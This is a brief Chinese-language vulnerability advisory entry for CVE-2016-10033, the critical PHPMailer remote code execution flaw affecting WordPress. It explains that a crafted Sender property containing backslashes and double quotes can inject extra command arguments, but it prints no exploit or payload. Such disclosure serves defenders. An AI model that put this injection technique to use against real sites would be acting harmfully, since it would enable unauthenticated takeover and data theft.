WordPress PHPMailer Remote Code Execution Vulnerability

漏洞信息

漏洞名称： WordPress PHPMailer Remote Code Execution Vulnerability

漏洞编号：

• CVE： CVE-2016-10033

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： 受影响的产品是WordPress中使用的PHPMailer库，这是一个广泛使用的电子邮件发送库，支持通过SMTP、sendmail、PHP mail()函数等多种方式发送邮件。PHPMailer在WordPress等众多PHP项目中作为核心组件，用于处理电子邮件发送功能，其安全漏洞直接影响依赖它的应用程序。该漏洞属于命令执行类型，技术根源在于PHPMailer在处理邮件发送请求时，对Sender属性的输入验证不充分，攻击者可以通过构造特殊的Sender属性（包含反斜杠和双引号）来注入额外的命令参数，进而执行任意代码。这一漏洞的影响极为严重，因为它允许远程攻击者在无需任何身份验证的情况下，直接在受影响的WordPress网站上执行任意代码，可能导致网站被完全控制、数据泄露或其他恶意操作。由于PHPMailer的广泛使用和漏洞的易利用性，该漏洞被评定为严重级别。
